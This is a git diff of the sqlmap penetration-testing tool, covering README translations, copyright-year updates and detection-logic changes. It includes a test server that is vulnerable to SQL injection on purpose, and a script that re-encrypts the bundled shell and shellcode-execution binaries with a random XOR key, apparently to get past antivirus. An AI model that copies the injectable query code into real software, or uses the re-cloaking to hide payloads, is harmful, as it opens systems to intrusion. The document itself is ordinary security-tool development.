sqlmap ![](https://i.imgur.com/fe85aVR.png) + +[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![PyPI version](https://badge.fury.io/py/sqlmap.svg)](https://badge.fury.io/py/sqlmap) [![GitHub closed issues](https://img.shields.io/github/issues-closed-raw/sqlmapproject/sqlmap.svg?colorB=ff69b4)](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) + + +
+ + + +برنامه `sqlmap`، برنامه‌ی منبع باز هست که برای تست نفوذ پذیزی دربرابر حمله‌های احتمالی `sql injection` (جلوگیری از لو رفتن پایگاه داده) جلو گیری می‌کند. این برنامه مجهز به مکانیزیم تشخیص قدرتمندی می‌باشد. همچنین داری طیف گسترده‌ای از اسکریپت ها می‌باشد که برای متخصص تست نفوذ کار کردن با بانک اطلاعاتی را راحتر می‌کند. از جمع اوری اطلاعات درباره بانک داده تا دسترسی به داده های سیستم و اجرا دستورات از طریق `via out-of-band` درسیستم عامل را امکان پذیر می‌کند. + + +عکس +---- + + +
+ + + +![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) + + +
+ +برای دیدن کردن از [مجموعه‌ی از اسکریپت‌ها](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) می‌توانید از ویکی دیدن کنید. + + +نصب +---- + +برای دانلود اخرین نسخه tarball، با کلیک در [اینجا](https://github.com/sqlmapproject/sqlmap/tarball/master) یا دانلود اخرین نسخه zipball با کلیک در [اینجا](https://github.com/sqlmapproject/sqlmap/zipball/master) میتوانید این کار را انجام دهید. + + +طرز استفاده +---- + + +برای گرفتن لیست ارگومان‌های اساسی می‌توانید از دستور زیر استفاده کنید: + + + +
+ + +``` + python sqlmap.py -h +``` + + + + +
+ + +برای گرفتن لیست تمامی ارگومان‌های می‌توانید از دستور زیر استفاده کنید: + +
+ + +``` + python sqlmap.py -hh +``` + + +
+ + +برای اطلاعات بیشتر برای اجرا از [اینجا](https://asciinema.org/a/46601) می‌توانید استفاده کنید. برای گرفتن اطلاعات بیشتر توسعه می‌شود به [راهنمای](https://github.com/sqlmapproject/sqlmap/wiki/Usage) `sqlmap` سر بزنید. + + +لینک‌ها +---- + + +* خانه: http://sqlmap.org +* دانلود: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* کایمت و نظرات: https://github.com/sqlmapproject/sqlmap/commits/master.atom +* پیگری مشکلات: https://github.com/sqlmapproject/sqlmap/issues +* راهنمای کاربران: https://github.com/sqlmapproject/sqlmap/wiki +* سوالات متداول: https://github.com/sqlmapproject/sqlmap/wiki/FAQ +* تویتر: [@sqlmap](https://twitter.com/sqlmap) +* رسانه: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos) +* عکس‌ها: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-fr-FR.md b/doc/translations/README-fr-FR.md index 83c4884b6d2..8c87faf5464 100644 --- a/doc/translations/README-fr-FR.md +++ b/doc/translations/README-fr-FR.md @@ -32,7 +32,7 @@ Pour afficher une liste complète des options et des commutateurs (switches), ta python sqlmap.py -hh -Vous pouvez regarder un vidéo [ici](https://asciinema.org/a/46601) pour plus d'exemples. +Vous pouvez regarder une vidéo [ici](https://asciinema.org/a/46601) pour plus d'exemples. Pour obtenir un aperçu des ressources de __sqlmap__, une liste des fonctionnalités prises en charge, la description de toutes les options, ainsi que des exemples, nous vous recommandons de consulter [le wiki](https://github.com/sqlmapproject/sqlmap/wiki/Usage). Liens diff --git a/doc/translations/README-id-ID.md b/doc/translations/README-id-ID.md index c6adca685fb..bd2ffd0926c 100644 --- a/doc/translations/README-id-ID.md +++ b/doc/translations/README-id-ID.md @@ -2,7 +2,7 @@ [![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![PyPI version](https://badge.fury.io/py/sqlmap.svg)](https://badge.fury.io/py/sqlmap) [![GitHub closed issues](https://img.shields.io/github/issues-closed-raw/sqlmapproject/sqlmap.svg?colorB=ff69b4)](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) -sqlmap merupakan alat _(tool)_ bantu _open source_ dalam melakukan tes penetrasi yang mengotomasi proses deteksi dan eksploitasi kelemahan _SQL injection_ dan pengambil-alihan server basisdata. sqlmap dilengkapi dengan pendeteksi canggih, fitur-fitur hanal bagi _penetration tester_, beragam cara untuk mendeteksi basisdata, hingga mengakses _file system_ dan mengeksekusi perintah dalam sistem operasi melalui koneksi _out-of-band_. +sqlmap merupakan alat _(tool)_ bantu _open source_ dalam melakukan tes penetrasi yang mengotomasi proses deteksi dan eksploitasi kelemahan _SQL injection_ dan pengambil-alihan server basis data. sqlmap dilengkapi dengan pendeteksi canggih, fitur-fitur hanal bagi _penetration tester_, beragam cara untuk mendeteksi basis data, hingga mengakses _file system_ dan mengeksekusi perintah dalam sistem operasi melalui koneksi _out-of-band_. Tangkapan Layar ---- @@ -43,7 +43,7 @@ Tautan * Situs: http://sqlmap.org * Unduh: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) atau [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * RSS feed dari commits: https://github.com/sqlmapproject/sqlmap/commits/master.atom -* Issue tracker: https://github.com/sqlmapproject/sqlmap/issues +* Pelacak Masalah: https://github.com/sqlmapproject/sqlmap/issues * Wiki Manual Penggunaan: https://github.com/sqlmapproject/sqlmap/wiki * Pertanyaan yang Sering Ditanyakan (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * Twitter: [@sqlmap](https://twitter.com/sqlmap) diff --git a/doc/translations/README-pt-BR.md b/doc/translations/README-pt-BR.md index 71f755d1d95..a2af1e3eb57 100644 --- a/doc/translations/README-pt-BR.md +++ b/doc/translations/README-pt-BR.md @@ -14,8 +14,7 @@ Você pode visitar a [coleção de imagens](https://github.com/sqlmapproject/sql Instalação ---- -Você pode baixar o arquivo tar mais recente clicando [aqui] -(https://github.com/sqlmapproject/sqlmap/tarball/master) ou o arquivo zip mais recente clicando [aqui](https://github.com/sqlmapproject/sqlmap/zipball/master). +Você pode baixar o arquivo tar mais recente clicando [aqui](https://github.com/sqlmapproject/sqlmap/tarball/master) ou o arquivo zip mais recente clicando [aqui](https://github.com/sqlmapproject/sqlmap/zipball/master). De preferência, você pode baixar o sqlmap clonando o repositório [Git](https://github.com/sqlmapproject/sqlmap): diff --git a/extra/__init__.py b/extra/__init__.py index a1e6b478904..f5f6aa0e910 100644 --- a/extra/__init__.py +++ b/extra/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/extra/beep/__init__.py b/extra/beep/__init__.py index a1e6b478904..f5f6aa0e910 100644 --- a/extra/beep/__init__.py +++ b/extra/beep/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/extra/beep/beep.py b/extra/beep/beep.py index 7a866bff0d6..7eed25585b1 100644 --- a/extra/beep/beep.py +++ b/extra/beep/beep.py @@ -3,7 +3,7 @@ """ beep.py - Make a beep sound -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/extra/cloak/__init__.py b/extra/cloak/__init__.py index a1e6b478904..f5f6aa0e910 100644 --- a/extra/cloak/__init__.py +++ b/extra/cloak/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/extra/cloak/cloak.py b/extra/cloak/cloak.py index 860f4fde350..ab20d39b29f 100644 --- a/extra/cloak/cloak.py +++ b/extra/cloak/cloak.py @@ -3,7 +3,7 @@ """ cloak.py - Simple file encryption/compression utility -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -19,28 +19,26 @@ if sys.version_info >= (3, 0): xrange = range + ord = lambda _: _ -def hideAscii(data): - retVal = b"" - for i in xrange(len(data)): - value = data[i] if isinstance(data[i], int) else ord(data[i]) - retVal += struct.pack('B', value ^ (127 if value < 128 else 0)) +KEY = b"cwRAopWDYixMeqs3" - return retVal +def xor(message, key): + return b"".join(struct.pack('B', ord(message[i]) ^ ord(key[i % len(key)])) for i in range(len(message))) def cloak(inputFile=None, data=None): if data is None: with open(inputFile, "rb") as f: data = f.read() - return hideAscii(zlib.compress(data)) + return xor(zlib.compress(data), KEY) def decloak(inputFile=None, data=None): if data is None: with open(inputFile, "rb") as f: data = f.read() try: - data = zlib.decompress(hideAscii(data)) + data = zlib.decompress(xor(data, KEY)) except Exception as ex: print(ex) print('ERROR: the provided input file \'%s\' does not contain valid cloaked content' % inputFile) @@ -52,7 +50,7 @@ def decloak(inputFile=None, data=None): def main(): usage = '%s [-d] -i [-o ]' % sys.argv[0] - parser = OptionParser(usage=usage, version='0.1') + parser = OptionParser(usage=usage, version='0.2') try: parser.add_option('-d', dest='decrypt', action="store_true", help='Decrypt') diff --git a/extra/dbgtool/__init__.py b/extra/dbgtool/__init__.py index a1e6b478904..f5f6aa0e910 100644 --- a/extra/dbgtool/__init__.py +++ b/extra/dbgtool/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/extra/dbgtool/dbgtool.py b/extra/dbgtool/dbgtool.py index 4d7352557c4..b04f05d20ac 100644 --- a/extra/dbgtool/dbgtool.py +++ b/extra/dbgtool/dbgtool.py @@ -3,7 +3,7 @@ """ dbgtool.py - Portable executable to ASCII debug script converter -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/extra/icmpsh/icmpsh.exe_ b/extra/icmpsh/icmpsh.exe_ index a1eb995cb86..fef9eb5d075 100644 Binary files a/extra/icmpsh/icmpsh.exe_ and b/extra/icmpsh/icmpsh.exe_ differ diff --git a/extra/runcmd/runcmd.exe_ b/extra/runcmd/runcmd.exe_ index 5e0d05a994b..707953d0364 100644 Binary files a/extra/runcmd/runcmd.exe_ and b/extra/runcmd/runcmd.exe_ differ diff --git a/extra/shellcodeexec/linux/shellcodeexec.x32_ b/extra/shellcodeexec/linux/shellcodeexec.x32_ index ec62f230397..4d050d0c19a 100644 Binary files a/extra/shellcodeexec/linux/shellcodeexec.x32_ and b/extra/shellcodeexec/linux/shellcodeexec.x32_ differ diff --git a/extra/shellcodeexec/linux/shellcodeexec.x64_ b/extra/shellcodeexec/linux/shellcodeexec.x64_ index 10e8fea3d38..4bc2367a4fb 100644 Binary files a/extra/shellcodeexec/linux/shellcodeexec.x64_ and b/extra/shellcodeexec/linux/shellcodeexec.x64_ differ diff --git a/extra/shellcodeexec/windows/shellcodeexec.x32.exe_ b/extra/shellcodeexec/windows/shellcodeexec.x32.exe_ index c4204cce6a9..fe435f7628c 100644 Binary files a/extra/shellcodeexec/windows/shellcodeexec.x32.exe_ and b/extra/shellcodeexec/windows/shellcodeexec.x32.exe_ differ diff --git a/extra/shutils/blanks.sh b/extra/shutils/blanks.sh index 59670fbdbf2..e27b3b99111 100755 --- a/extra/shutils/blanks.sh +++ b/extra/shutils/blanks.sh @@ -1,6 +1,6 @@ #!/bin/bash -# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +# Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) # See the file 'LICENSE' for copying permission # Removes trailing spaces from blank lines inside project files diff --git a/extra/shutils/drei.sh b/extra/shutils/drei.sh index f73027a3077..76180b61f95 100755 --- a/extra/shutils/drei.sh +++ b/extra/shutils/drei.sh @@ -1,13 +1,13 @@ #!/bin/bash -# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +# Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) # See the file 'LICENSE' for copying permission # Stress test against Python3 export SQLMAP_DREI=1 #for i in $(find . -iname "*.py" | grep -v __init__); do python3 -c 'import '`echo $i | cut -d '.' -f 2 | cut -d '/' -f 2- | sed 's/\//./g'`''; done -for i in $(find . -iname "*.py" | grep -v __init__); do PYTHONWARNINGS=all python3.7 -m compileall $i | sed 's/Compiling/Checking/g'; done +for i in $(find . -iname "*.py" | grep -v __init__); do PYTHONWARNINGS=all python3 -m compileall $i | sed 's/Compiling/Checking/g'; done unset SQLMAP_DREI source `dirname "$0"`"/junk.sh" diff --git a/extra/shutils/duplicates.py b/extra/shutils/duplicates.py index 158d0a45742..71fce7edd95 100755 --- a/extra/shutils/duplicates.py +++ b/extra/shutils/duplicates.py @@ -1,6 +1,6 @@ #!/usr/bin/env python -# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +# Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) # See the file 'LICENSE' for copying permission # Removes duplicate entries in wordlist like files diff --git a/extra/shutils/junk.sh b/extra/shutils/junk.sh index 5d6e298b5d5..ff339b58817 100755 --- a/extra/shutils/junk.sh +++ b/extra/shutils/junk.sh @@ -1,6 +1,6 @@ #!/bin/bash -# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +# Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) # See the file 'LICENSE' for copying permission find . -type d -name "__pycache__" -exec rm -rf {} \; &>/dev/null diff --git a/extra/shutils/modernize.sh b/extra/shutils/modernize.sh index 10f84244f97..e63194241ae 100755 --- a/extra/shutils/modernize.sh +++ b/extra/shutils/modernize.sh @@ -1,6 +1,6 @@ #!/bin/bash -# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +# Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) # See the file 'LICENSE' for copying permission # sudo pip install modernize diff --git a/extra/shutils/pycodestyle.sh b/extra/shutils/pycodestyle.sh index 7136ecee9e5..a643ef082c5 100755 --- a/extra/shutils/pycodestyle.sh +++ b/extra/shutils/pycodestyle.sh @@ -1,6 +1,6 @@ #!/bin/bash -# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +# Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) # See the file 'LICENSE' for copying permission # Runs pycodestyle on all python files (prerequisite: pip install pycodestyle) diff --git a/extra/shutils/pydiatra.sh b/extra/shutils/pydiatra.sh index a299cf8533a..b67f0dc5325 100755 --- a/extra/shutils/pydiatra.sh +++ b/extra/shutils/pydiatra.sh @@ -1,7 +1,7 @@ #!/bin/bash -# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +# Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) # See the file 'LICENSE' for copying permission -# Runs py2diatra on all python files (prerequisite: pip install pydiatra) -find . -wholename "./thirdparty" -prune -o -type f -iname "*.py" -exec py2diatra '{}' \; | grep -v bare-except +# Runs py3diatra on all python files (prerequisite: pip install pydiatra) +find . -wholename "./thirdparty" -prune -o -type f -iname "*.py" -exec py3diatra '{}' \; | grep -v bare-except diff --git a/extra/shutils/pyflakes.sh b/extra/shutils/pyflakes.sh index 8f22c5e2c8d..dfbac1bb5fa 100755 --- a/extra/shutils/pyflakes.sh +++ b/extra/shutils/pyflakes.sh @@ -1,6 +1,6 @@ #!/bin/bash -# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +# Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) # See the file 'LICENSE' for copying permission # Runs pyflakes on all python files (prerequisite: apt-get install pyflakes) diff --git a/extra/shutils/pylint.sh b/extra/shutils/pylint.sh new file mode 100755 index 00000000000..dca46a2c7ee --- /dev/null +++ b/extra/shutils/pylint.sh @@ -0,0 +1,6 @@ +#!/bin/bash + +# Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) +# See the file 'LICENSE' for copying permission + +find . -wholename "./thirdparty" -prune -o -type f -iname "*.py" -exec pylint --rcfile=./.pylintrc '{}' \; diff --git a/extra/shutils/pypi.sh b/extra/shutils/pypi.sh index 7e9892d19a4..99e0ff0b378 100755 --- a/extra/shutils/pypi.sh +++ b/extra/shutils/pypi.sh @@ -16,7 +16,7 @@ cat > $TMP_DIR/setup.py << EOF #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -67,7 +67,7 @@ cat > sqlmap/__init__.py << EOF #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -132,13 +132,13 @@ To get a list of basic options and switches use: :: - python sqlmap.py -h + sqlmap -h To get a list of all options and switches use: :: - python sqlmap.py -hh + sqlmap -hh You can find a sample run `here `__. To get an overview of sqlmap capabilities, list of supported features and diff --git a/extra/shutils/recloak.sh b/extra/shutils/recloak.sh new file mode 100755 index 00000000000..557ea51d96f --- /dev/null +++ b/extra/shutils/recloak.sh @@ -0,0 +1,16 @@ +#!/bin/bash + +# NOTE: this script is for dev usage after AV something something + +DIR=$(cd -P -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd -P) + +cd $DIR/../.. +for file in $(find -regex ".*\.[a-z]*_" -type f | grep -v wordlist); do python extra/cloak/cloak.py -d -i $file; done + +cd $DIR/../cloak +sed -i 's/KEY = .*/KEY = b"'`python -c 'import random; import string; print("".join(random.sample(string.ascii_letters + string.digits, 16)))'`'"/g' cloak.py + +cd $DIR/../.. +for file in $(find -regex ".*\.[a-z]*_" -type f | grep -v wordlist); do python extra/cloak/cloak.py -i `echo $file | sed 's/_$//g'`; done + +git clean -f > /dev/null diff --git a/extra/vulnserver/__init__.py b/extra/vulnserver/__init__.py index a1e6b478904..f5f6aa0e910 100644 --- a/extra/vulnserver/__init__.py +++ b/extra/vulnserver/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/extra/vulnserver/vulnserver.py b/extra/vulnserver/vulnserver.py index d14dbc94a2e..f38728838b1 100644 --- a/extra/vulnserver/vulnserver.py +++ b/extra/vulnserver/vulnserver.py @@ -3,12 +3,13 @@ """ vulnserver.py - Trivial SQLi vulnerable HTTP server (Note: for testing purposes) -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from __future__ import print_function +import base64 import json import re import sqlite3 @@ -18,6 +19,7 @@ PY3 = sys.version_info >= (3, 0) UNICODE_ENCODING = "utf-8" +DEBUG = False if PY3: from http.client import INTERNAL_SERVER_ERROR @@ -83,7 +85,8 @@ def finish_request(self, *args, **kwargs): try: HTTPServer.finish_request(self, *args, **kwargs) except Exception: - traceback.print_exc() + if DEBUG: + traceback.print_exc() class ReqHandler(BaseHTTPRequestHandler): def do_REQUEST(self): @@ -131,7 +134,7 @@ def do_REQUEST(self): self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING) self.send_header("Connection", "close") self.end_headers() - self.wfile.write(b"

GET:

link


POST:

ID:

") + self.wfile.write(b"vulnserver

GET:

link

POST:

ID:
") else: code, output = OK, "" @@ -144,19 +147,27 @@ def do_REQUEST(self): if "query" in self.params: _cursor.execute(self.params["query"]) elif "id" in self.params: - _cursor.execute("SELECT * FROM users WHERE id=%s LIMIT 0, 1" % self.params["id"]) + if "base64" in self.params: + _cursor.execute("SELECT * FROM users WHERE id=%s LIMIT 0, 1" % base64.b64decode("%s===" % self.params["id"], altchars=self.params.get("altchars")).decode()) + else: + _cursor.execute("SELECT * FROM users WHERE id=%s LIMIT 0, 1" % self.params["id"]) results = _cursor.fetchall() - output += "SQL results:\n" - output += "\n" + output += "SQL results:
\n" - for row in results: - output += "" - for value in row: - output += "" % value - output += "\n" + if results: + output += "
%s
\n" + + for row in results: + output += "" + for value in row: + output += "" % value + output += "\n" + + output += "
%s
\n" + else: + output += "no results found" - output += "\n" output += "" except Exception as ex: code = INTERNAL_SERVER_ERROR @@ -191,8 +202,27 @@ def do_POST(self): length = int(self.headers.get("Content-length", 0)) if length: data = self.rfile.read(length) - data = unquote_plus(data.decode(UNICODE_ENCODING)) + data = unquote_plus(data.decode(UNICODE_ENCODING, "ignore")) self.data = data + elif self.headers.get("Transfer-encoding") == "chunked": + data, line = b"", b"" + count = 0 + + while True: + line += self.rfile.read(1) + if line.endswith(b'\n'): + if count % 2 == 1: + current = line.rstrip(b"\r\n") + if not current: + break + else: + data += current + + count += 1 + line = b"" + + self.data = data.decode(UNICODE_ENCODING, "ignore") + self.do_REQUEST() def log_message(self, format, *args): @@ -202,7 +232,7 @@ def run(address=LISTEN_ADDRESS, port=LISTEN_PORT): global _server try: _server = ThreadingServer((address, port), ReqHandler) - print("[i] running HTTP server at '%s:%d'" % (address, port)) + print("[i] running HTTP server at 'http://%s:%d'" % (address, port)) _server.serve_forever() except KeyboardInterrupt: _server.socket.close() diff --git a/lib/__init__.py b/lib/__init__.py index a1e6b478904..f5f6aa0e910 100644 --- a/lib/__init__.py +++ b/lib/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/controller/__init__.py b/lib/controller/__init__.py index a1e6b478904..f5f6aa0e910 100644 --- a/lib/controller/__init__.py +++ b/lib/controller/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/controller/action.py b/lib/controller/action.py index f2b7fe465cd..6510b35d061 100644 --- a/lib/controller/action.py +++ b/lib/controller/action.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -54,6 +54,8 @@ def action(): conf.dumper.singleString(conf.dbmsHandler.getFingerprint()) + kb.fingerprinted = True + # Enumeration options if conf.getBanner: conf.dumper.banner(conf.dbmsHandler.getBanner()) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index dab1609ffa2..2119233efd4 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -30,6 +30,7 @@ from lib.core.common import hashDBRetrieve from lib.core.common import hashDBWrite from lib.core.common import intersect +from lib.core.common import isDigit from lib.core.common import joinValue from lib.core.common import listToStrValue from lib.core.common import parseFilePaths @@ -54,6 +55,7 @@ from lib.core.datatype import InjectionDict from lib.core.decorators import stackedmethod from lib.core.dicts import FROM_DUMMY_TABLE +from lib.core.dicts import HEURISTIC_NULL_EVAL from lib.core.enums import DBMS from lib.core.enums import HASHDB_KEYS from lib.core.enums import HEURISTIC_TEST @@ -97,6 +99,7 @@ from lib.core.settings import UPPER_RATIO_BOUND from lib.core.settings import URI_HTTP_HEADER from lib.core.threads import getCurrentThreadData +from lib.core.unescaper import unescaper from lib.request.connect import Connect as Request from lib.request.comparison import comparison from lib.request.inject import checkBooleanExpression @@ -115,7 +118,7 @@ def checkSqlInjection(place, parameter, value): threadData = getCurrentThreadData() # Favoring non-string specific boundaries in case of digit-like parameter values - if value.isdigit(): + if isDigit(value): kb.cache.intBoundaries = kb.cache.intBoundaries or sorted(copy.deepcopy(conf.boundaries), key=lambda boundary: any(_ in (boundary.prefix or "") or _ in (boundary.suffix or "") for _ in ('"', '\''))) boundaries = kb.cache.intBoundaries elif value.isalpha(): @@ -224,8 +227,8 @@ def checkSqlInjection(place, parameter, value): # Skip test if the user's wants to test only for a specific # technique if conf.technique and isinstance(conf.technique, list) and stype not in conf.technique: - debugMsg = "skipping test '%s' because the user " % title - debugMsg += "specified to test only for " + debugMsg = "skipping test '%s' because user " % title + debugMsg += "specified testing of only " debugMsg += "%s techniques" % " & ".join(PAYLOAD.SQLINJECTION[_] for _ in conf.technique) logger.debug(debugMsg) continue @@ -499,12 +502,13 @@ def genCmpPayload(): # Useful to set kb.matchRatio at first based on False response content kb.matchRatio = None kb.negativeLogic = (where == PAYLOAD.WHERE.NEGATIVE) + suggestion = None Request.queryPage(genCmpPayload(), place, raise404=False) falsePage, falseHeaders, falseCode = threadData.lastComparisonPage or "", threadData.lastComparisonHeaders, threadData.lastComparisonCode falseRawResponse = "%s%s" % (falseHeaders, falsePage) # Checking if there is difference between current FALSE, original and heuristics page (i.e. not used parameter) - if not kb.negativeLogic: + if not any((kb.negativeLogic, conf.string, conf.notString)): try: ratio = 1.0 seqMatcher = getCurrentThreadData().seqMatcher @@ -519,8 +523,6 @@ def genCmpPayload(): except (MemoryError, OverflowError): pass - kb.prevFalsePage = falsePage - # Perform the test's True request trueResult = Request.queryPage(reqPayload, place, raise404=False) truePage, trueHeaders, trueCode = threadData.lastComparisonPage or "", threadData.lastComparisonHeaders, threadData.lastComparisonCode @@ -568,7 +570,7 @@ def genCmpPayload(): candidates = sorted(candidates, key=len) for candidate in candidates: if re.match(r"\A[\w.,! ]+\Z", candidate) and ' ' in candidate and candidate.strip() and len(candidate) > CANDIDATE_SENTENCE_MIN_LENGTH: - conf.string = candidate + suggestion = conf.string = candidate injectable = True infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --string=\"%s\")" % ("%s " % paramType if paramType != parameter else "", parameter, title, repr(conf.string).lstrip('u').strip("'")) @@ -579,7 +581,7 @@ def genCmpPayload(): if injectable: if kb.pageStable and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)): if all((falseCode, trueCode)) and falseCode != trueCode: - conf.code = trueCode + suggestion = conf.code = trueCode infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --code=%d)" % ("%s " % paramType if paramType != parameter else "", parameter, title, conf.code) logger.info(infoMsg) @@ -604,7 +606,7 @@ def genCmpPayload(): if re.match(r"\A\w{2,}\Z", candidate): # Note: length of 1 (e.g. --string=5) could cause trouble, especially in error message pages with partially reflected payload content break - conf.string = candidate + suggestion = conf.string = candidate infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --string=\"%s\")" % ("%s " % paramType if paramType != parameter else "", parameter, title, repr(conf.string).lstrip('u').strip("'")) logger.info(infoMsg) @@ -618,12 +620,12 @@ def genCmpPayload(): if re.match(r"\A\w+\Z", candidate): break - conf.notString = candidate + suggestion = conf.notString = candidate infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --not-string=\"%s\")" % ("%s " % paramType if paramType != parameter else "", parameter, title, repr(conf.notString).lstrip('u').strip("'")) logger.info(infoMsg) - if not any((conf.string, conf.notString, conf.code)): + if not suggestion: infoMsg = "%sparameter '%s' appears to be '%s' injectable " % ("%s " % paramType if paramType != parameter else "", parameter, title) singleTimeLogMessage(infoMsg) @@ -650,7 +652,7 @@ def genCmpPayload(): except SqlmapConnectionException as ex: debugMsg = "problem occurred most likely because the " debugMsg += "server hasn't recovered as expected from the " - debugMsg += "error-based payload used ('%s')" % getSafeExString(ex) + debugMsg += "used error-based payload ('%s')" % getSafeExString(ex) logger.debug(debugMsg) # In case of time-based blind or stacked queries @@ -854,7 +856,9 @@ def genCmpPayload(): logger.warn(warnMsg) if not checkFalsePositives(injection): - kb.vulnHosts.remove(conf.hostname) + if conf.hostname in kb.vulnHosts: + kb.vulnHosts.remove(conf.hostname) + if NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE not in injection.notes: injection.notes.append(NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE) @@ -875,19 +879,28 @@ def heuristicCheckDbms(injection): to identify with a simple DBMS specific boolean-based test what the DBMS may be """ + retVal = False + if conf.skipHeuristics: + return retVal 